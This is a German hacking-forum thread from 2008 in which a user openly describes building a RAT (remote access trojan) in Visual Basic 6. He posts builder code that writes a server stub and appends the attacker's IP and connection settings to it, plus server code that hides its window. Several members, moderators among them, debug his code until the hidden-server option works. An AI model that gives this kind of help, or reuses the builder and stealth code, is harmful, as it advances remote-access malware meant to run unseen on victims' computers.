|
| Autor |
Nachricht |
Fuka_ Coder


Anmeldedatum: 15.11.2007 Beiträge: 96
|
Checkbox für Visible Server AN/AUS
Verfasst am: 03.04.2008, 17:27 |
|
|
Moin Leute!
Ich code grad an einem kleinen RAT.
Reverse Connection, Builder und ein paar andere Sachen sind schon fertig!
Jetzt wollte ich im Builder einbauen, dass man sich aussuchen kann, ob der server sichtbar oder nicht ist.
Im Code sieht man, dass er die Information an die server.exe weitergibt:
| Code: |
Private Sub cmd_build_Click()
If chk_visl = 1 Then
visl = "1"
Else
visl = "0"
End If
'server erstellen
Dim buffer() As Byte
buffer = LoadResData(103, "CUSTOM")
Open (App.Path & "\server.exe") For Binary As #1
Put #1, , buffer
Close #1
Dim options As String * 100
options = txt_ip.Text & "#" & txt_sin.Text & "#" & txt_con.Text & "#" & visl
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
frm_builder.Hide
|
Ob der Checkbutton 1 oder 0 ist, wird in der Variable "visl" deklariert und weitergegeben,
Im Server steht nun:
| Code: |
Option Explicit
Public visl As String
Private Sub Form_Load()
'Daten vom Builder hohlen
On Error GoTo err
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & ".exe")
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close #1
Ip = cmd(0)
Sin = cmd(1)
Conn = cmd(2)
visl = cmd(2)
If visl = "1" Then
Me.Show
Else
If visl = "0" Then
Me.Hide
End If
End If
err:
End Sub
|
Es passiert aber nichts.
In der SubMain hab ich es auch schon getestet, obwohl es da ja garnicht funkionieren kann, da er ja die Daten noch nicht bekommt!
Weiß jemand, wie man das macht?
MfG |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 03.04.2008, 17:35 |
|
|
| Code: |
Ip = cmd(0)
Sin = cmd(1)
Conn = cmd(2)
visl = cmd(2)
|
Evt. weil es so wie "Conn" auch aus cmd(2) die Daten erhält? Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
sollniss_ Coder

Anmeldedatum: 08.09.2007 Beiträge: 212
|
Verfasst am: 03.04.2008, 17:42 |
|
|
man sollte bei 0 und 1 sowieso immer nen boolean nehmen, denn passier sowas auch nicht  http://sollniss.1x.to/
 |
|
| |
|
 |
Hamtaro_ « Moderator »

Anmeldedatum: 06.05.2007 Beiträge: 217 Wohnort: NRW
|
Verfasst am: 03.04.2008, 18:20 |
|
|
Boolean ist das gleiche wie 0 und 1, du nase 
Wie findet ihr meine Sig? |
|
| |
|
 |
Fuka_ Coder


Anmeldedatum: 15.11.2007 Beiträge: 96
|
Verfasst am: 03.04.2008, 18:26 |
|
|
Getestet, geht nicht.
Den Fehler hab ich auch behoben:
| Code: |
Ip = cmd(0)
Sin = cmd(1)
Conn = cmd(2)
visl = cmd(3) <--- Davor hatte ich ja noch ne 2 stehen
|
Der Code sieht jetzt so aus:
| Code: |
Option Explicit
Public Ip As String
Public Sin As String
Public Conn As String
Public visl As Boolean
Private Sub Form_Load()
'Daten vom Builder hohlen
On Error GoTo err
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & ".exe")
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close #1
Ip = cmd(0)
Sin = cmd(1)
Conn = cmd(2)
visl = cmd(4)
|
Danach hatte ich noch:
| Code: |
If visl = "1" Then
Form1.Show
Else
If visl = "0" Then
Form1.Hide
End If
End If
|
Ich weiß nicht woran es liegen könnte. |
|
| |
|
 |
tr4st_ « Moderator »

Anmeldedatum: 17.12.2007 Beiträge: 315 Wohnort: Private Class _ Villa()
|
Verfasst am: 03.04.2008, 18:30 |
|
|
| Hamtaro hat Folgendes geschrieben: | Boolean ist das gleiche wie 0 und 1, du nase  |
Aber auch in der Form mit Anführungszeichen vorne und hinten?
Gilt es dann nicht bereits als String? Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
 |
krallistic_ Newbie

Anmeldedatum: 24.09.2007 Beiträge: 13
|
Verfasst am: 03.04.2008, 19:08 |
|
|
gib mal vils in ner msgbox aus und guck was er überhaupt einliest....
ist vils nicht die dritte information die du ausliest? |
|
| |
|
 |
Fuka_ Coder


Anmeldedatum: 15.11.2007 Beiträge: 96
|
Verfasst am: 03.04.2008, 19:33 |
|
|
jo macht er
Edit: "visl = cmd(4) " hab ich in "visl = cmd(3)"^^
hatte mich vertippt xD
geht immer noch nicht^^
Code sieht jetzt so aus:
Server:
| Code: |
Ip = cmd(0)
Sin = cmd(1)
Conn = cmd(2)
visl = cmd(3)
If visl = "1" Then
Me.Show
Else
Me.Hide
End If
|
Client/Builder:
| Code: |
If chk_visl = 1 Then
visl = "1"
Else
visl = "0"
End If
'server erstellen
Dim buffer() As Byte
buffer = LoadResData(103, "CUSTOM")
Open (App.Path & "\server.exe") For Binary As #1
Put #1, , buffer
Close #1
Dim options As String * 100
options = txt_ip.Text & "#" & txt_sin.Text & "#" & txt_con.Text & "#" & visl
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
|
|
|
| |
|
 |
sollniss_ Coder

Anmeldedatum: 08.09.2007 Beiträge: 212
|
Verfasst am: 03.04.2008, 20:54 |
|
|
mach mal das * 100 weg, denn dadurch wird der string auf 100 zeichen gekürzt, vll. wird ja deine var "weggekürzt" http://sollniss.1x.to/
 |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 03.04.2008, 21:50 |
|
|
@tr4st
Ja da gilt es als string.
@sollniss
Das * 100 (Also 100 Bytes) ist bei dieser Art von Builder notwendig.
Wenn es für seine Daten zu wenig Platz ist, dann soll er mehr reservieren.
Also halt * 200 oder mehr.
Die fixe Länge braucht er, weil er beim auslesen ja wissen muß wieviele Zeichen am Ende der Datei er auslesen soll.
Das ganze lässt sich auch Variabel gestalten wenn man bisschen nachdenkt.
@Fuka
| Code: |
options = txt_ip.Text & "#" & txt_sin.Text & "#" & txt_con.Text & "#" & visl
|
Nach der letzten Variable muß umbedingt nochmal ein Splitstring ( & "#")
Wenn du später splittest ist bei der letzten Variable noch ein langer leerer string drann. Deswegen nochmal ein klares Trennzeichen und fertig. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
Hamtaro_ « Moderator »

Anmeldedatum: 06.05.2007 Beiträge: 217 Wohnort: NRW
|
Verfasst am: 03.04.2008, 22:48 |
|
|
Du kananst übrigens direkt chkBla.Value anhängen
und auslesen tust du mit Visl = 0 nicht "0"
Wie findet ihr meine Sig? |
|
| |
|
 |
tr4st_ « Moderator »

Anmeldedatum: 17.12.2007 Beiträge: 315 Wohnort: Private Class _ Villa()
|
Verfasst am: 03.04.2008, 22:55 |
|
|
Aus diesem Grund meine Anmerkung dort oben  Avoid Suspicion, Manipulate your friends, Eliminate your enemies. |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 03.04.2008, 23:35 |
|
|
Ähm, ziemlich egal wie er es vergleicht. (Wenn man es mal nicht so eng sieht)
Besonders da visl als string deklariert is. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
Fuka_ Coder


Anmeldedatum: 15.11.2007 Beiträge: 96
|
Verfasst am: 04.04.2008, 12:49 |
|
|
| ZiG hat Folgendes geschrieben: |
@Fuka
| Code: |
options = txt_ip.Text & "#" & txt_sin.Text & "#" & txt_con.Text & "#" & visl
|
Nach der letzten Variable muß umbedingt nochmal ein Splitstring ( & "#")
Wenn du später splittest ist bei der letzten Variable noch ein langer leerer string drann. Deswegen nochmal ein klares Trennzeichen und fertig. |
Jo hat mir geholfen! DANKE! =) |
|
| |
|
 |